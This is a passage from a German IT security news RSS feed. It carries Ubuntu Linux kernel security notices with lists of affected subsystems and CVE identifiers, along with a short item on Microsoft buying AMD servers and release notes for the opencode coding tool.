CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46295,
CVE-2026-46296, CVE-2026-46297, CVE-2026-46298, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46302, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46305, CVE-2026-46306, CVE-2026-46307, CVE-2026-46308,
CVE-2026-46309, CVE-2026-46310, CVE-2026-46311, CVE-2026-46312,
CVE-2026-46313, CVE-2026-46314, CVE-2026-46315, CVE-2026-46316,
CVE-2026-46317, CVE-2026-46318, CVE-2026-46319, CVE-2026-46320,
CVE-2026-46321, CVE-2026-46322, CVE-2026-46323, CVE-2026-46324,
CVE-2026-46332, CVE-2026-52904, CVE-2026-52905, CVE-2026-52906,
CVE-2026-52907, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52933,
CVE-2026-52934, CVE-2026-52936, CVE-2026-52937, CVE-2026-52941,
CVE-2026-52943, CVE-2026-52944, CVE-2026-52949, CVE-2026-52950,
CVE-2026-52951, CVE-2026-52952, CVE-2026-52953, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52956, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52959, CVE-2026-52960, CVE-2026-52961, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52964, CVE-2026-52965, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52971,
CVE-2026-52973, CVE-2026-52974, CVE-2026-52975, CVE-2026-52976,
CVE-2026-52977, CVE-2026-52978, CVE-2026-52979, CVE-2026-52980,
CVE-2026-52981, CVE-2026-52982, CVE-2026-52983, CVE-2026-52984,
CVE-2026-52985, CVE-2026-52986, CVE-2026-52987, CVE-2026-52988,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52991, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52994, CVE-2026-52995, CVE-2026-52996,
CVE-2026-52997, CVE-2026-52998, CVE-2026-52999, CVE-2026-53000,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53005, CVE-2026-53006, CVE-2026-53007, CVE-2026-53008,
CVE-2026-53009, CVE-2026-53010, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016,
CVE-2026-53017, CVE-2026-53018, CVE-2026-53019, CVE-2026-53020,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53024,
CVE-2026-53025, CVE-2026-53026, CVE-2026-53027, CVE-2026-53028,
CVE-2026-53029, CVE-2026-53030, CVE-2026-53031, CVE-2026-53032,
CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036,
CVE-2026-53037, CVE-2026-53038, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53042, CVE-2026-53043, CVE-2026-53044,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53051, CVE-2026-53052,
CVE-2026-53053, CVE-2026-53054, CVE-2026-53055, CVE-2026-53056,
CVE-2026-53057, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53066, CVE-2026-53067, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53070, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53078, CVE-2026-53079, CVE-2026-53080,
CVE-2026-53081, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53087, CVE-2026-53088,
CVE-2026-53089, CVE-2026-53090, CVE-2026-53091, CVE-2026-53092,
CVE-2026-53093, CVE-2026-53094, CVE-2026-53095, CVE-2026-53096,
CVE-2026-53097, CVE-2026-53098, CVE-2026-53099, CVE-2026-53100,
CVE-2026-53101, CVE-2026-53102, CVE-2026-53103, CVE-2026-53104,
CVE-2026-53105, CVE-2026-53106, CVE-2026-53107, CVE-2026-53108,
CVE-2026-53109, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112,
CVE-2026-53113, CVE-2026-53114, CVE-2026-53115, CVE-2026-53116,
CVE-2026-53117, CVE-2026-53118, CVE-2026-53119, CVE-2026-53120,
CVE-2026-53121, CVE-2026-53122, CVE-2026-53123, CVE-2026-53124,
CVE-2026-53125, CVE-2026-53126, CVE-2026-53127, CVE-2026-53128,
CVE-2026-53129, CVE-2026-53130, CVE-2026-53174, CVE-2026-53277,
CVE-2026-53278, CVE-2026-53279, CVE-2026-53280, CVE-2026-53281,
CVE-2026-53282, CVE-2026-53283, CVE-2026-53284, CVE-2026-53285,
CVE-2026-53286, CVE-2026-53287, CVE-2026-53288, CVE-2026-53289,
CVE-2026-53290, CVE-2026-53291, CVE-2026-53292, CVE-2026-53293,
CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53297,
CVE-2026-53298, CVE-2026-53299, CVE-2026-53300, CVE-2026-53301,
CVE-2026-53302, CVE-2026-53303, CVE-2026-53304, CVE-2026-53305,
CVE-2026-53306, CVE-2026-53307, CVE-2026-53308, CVE-2026-53309,
CVE-2026-53310, CVE-2026-53311, CVE-2026-53312, CVE-2026-53313,
CVE-2026-53314, CVE-2026-53315, CVE-2026-53316, CVE-2026-53317,
CVE-2026-53318, CVE-2026-53319, CVE-2026-53320, CVE-2026-53321,
CVE-2026-53322, CVE-2026-53323, CVE-2026-53324, CVE-2026-53357,
CVE-2026-53358, CVE-2026-53360, CVE-2026-53364, CVE-2026-53365)]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft setzt AMDs Helios-Server mit Next-Gen-Hardware ein]]></title>
<description><![CDATA[AMD zieht einen Deal in der Azure-Cloud an Land. Microsoft kauft Epyc-Venice-Prozessoren und hochpreisige KI-Beschleuniger.]]></description>
<link>https://tsecurity.de/de/3681587/it-nachrichten/microsoft-setzt-amds-helios-server-mit-next-gen-hardware-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681587/it-nachrichten/microsoft-setzt-amds-helios-server-mit-next-gen-hardware-ein/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AMD zieht einen Deal in der Azure-Cloud an Land. Microsoft kauft Epyc-Venice-Prozessoren und hochpreisige KI-Beschleuniger.]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8568-1: Linux kernel (OEM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security iss...]]></description>
<link>https://tsecurity.de/de/3681577/unix-server/usn-8568-1-linux-kernel-oem-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681577/unix-server/usn-8568-1-linux-kernel-oem-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 18:01:28 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - PSP security protocol;
  - ARM64 architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - DRBD Distributed Replicated Block Device drivers;
  - Ublk userspace block driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - EDAC drivers;
  - EFI core;
  - FWCTL subsystem;
  - GPU drivers;
  - HID subsystem;
  - I3C subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - x86 platform drivers;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - TCM subsystem;
  - TTY drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - USB Type-C support driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - DRM TTM subsystem;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Netfilter;
  - Network traffic control;
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - Cryptographic library;
  - Memory management;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - MAC80211 subsystem;
  - Multipath TCP;
  - Open vSwitch;
  - Phonet protocol;
  - RDS protocol;
  - SCTP protocol;
  - SMC sockets;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - XFRM subsystem;
  - Integrity Measurement Architecture(IMA) framework;
  - SELinux security module;
  - ALSA framework;
  - HD-audio driver;
  - QCOM ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - KVM subsystem;
(CVE-2026-43490, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111,
CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116,
CVE-2026-46117, CVE-2026-46118, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46136, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147,
CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46156,
CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164,
CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172,
CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46317, CVE-2026-46318,
CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322,
CVE-2026-46324, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52934,
CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943,
CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951,
CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955,
CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959,
CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963,
CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968,
CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977,
CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005,
CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009,
CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013,
CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017,
CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021,
CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025,
CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029,
CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033,
CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037,
CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053,
CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057,
CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061,
CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089,
CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097,
CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101,
CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105,
CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113,
CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117,
CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125,
CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129,
CVE-2026-53130, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279,
CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283,
CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287,
CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291,
CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299,
CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303,
CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307,
CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311,
CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315,
CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319,
CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323,
CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360,
CVE-2026-53364, CVE-2026-53365)]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.4]]></title>
<description><![CDATA[Core
Improvements

Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

Reduce OpenAI provider header timeouts during slow connection setup.
Respect provider-defined reasoning options instead of fallin...]]></description>
<link>https://tsecurity.de/de/3681569/downloads/v1184/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681569/downloads/v1184/</guid>
<pubDate>Mon, 20 Jul 2026 17:47:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Reduce OpenAI provider header timeouts during slow connection setup.</li>
<li>Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.</li>
<li>Restore Azure Cognitive Services endpoint support for Azure-hosted models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Sync the embedded terminal theme with the app theme.</li>
<li>Improve the review panel so open file tabs can stay aligned with the current diff view.</li>
<li>Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.</li>
<li>Improve review panel resizing and sticky controls.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Preserve command drafts in the command menu.</li>
<li>Avoid session view failures when message parent links are missing.</li>
<li>Prevent sending empty prompt text parts.</li>
<li>Restore model variant selection accessibility.</li>
<li>Show keybind tooltips on prompt input controls. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>)</li>
<li>Deduplicate repeated file entries in diff summaries.</li>
<li>Prevent recovery window handling from touching destroyed windows.</li>
</ul>
<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>:
<ul>
<li>fix(nix): relax Bun version check for desktop build (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877704946" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/36767/hovercard" href="https://github.com/anomalyco/opencode/pull/36767">#36767</a>)</li>
<li>fix(nix): restore desktop integration (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897416572" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37197" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37197/hovercard" href="https://github.com/anomalyco/opencode/pull/37197">#37197</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>:
<ul>
<li>fix(app): show keybind tooltips on prompt input controls (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924806992" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37824" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37824/hovercard" href="https://github.com/anomalyco/opencode/pull/37824">#37824</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>:
<ul>
<li>feat(opencode): use adaptive thinking effort for kimi family on anthr… (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920812833" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37696" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37696/hovercard" href="https://github.com/anomalyco/opencode/pull/37696">#37696</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8566-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security iss...]]></description>
<link>https://tsecurity.de/de/3681568/unix-server/usn-8566-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681568/unix-server/usn-8566-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 17:46:50 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - PSP security protocol;
  - ARM64 architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - DRBD Distributed Replicated Block Device drivers;
  - Ublk userspace block driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - EDAC drivers;
  - EFI core;
  - FWCTL subsystem;
  - GPU drivers;
  - HID subsystem;
  - I3C subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - x86 platform drivers;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - TCM subsystem;
  - TTY drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - USB Type-C support driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - DRM TTM subsystem;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Netfilter;
  - Network traffic control;
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - Cryptographic library;
  - Memory management;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - MAC80211 subsystem;
  - Multipath TCP;
  - Open vSwitch;
  - Phonet protocol;
  - RDS protocol;
  - SCTP protocol;
  - SMC sockets;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - XFRM subsystem;
  - Integrity Measurement Architecture(IMA) framework;
  - SELinux security module;
  - ALSA framework;
  - HD-audio driver;
  - QCOM ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - KVM subsystem;
(CVE-2026-43490, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
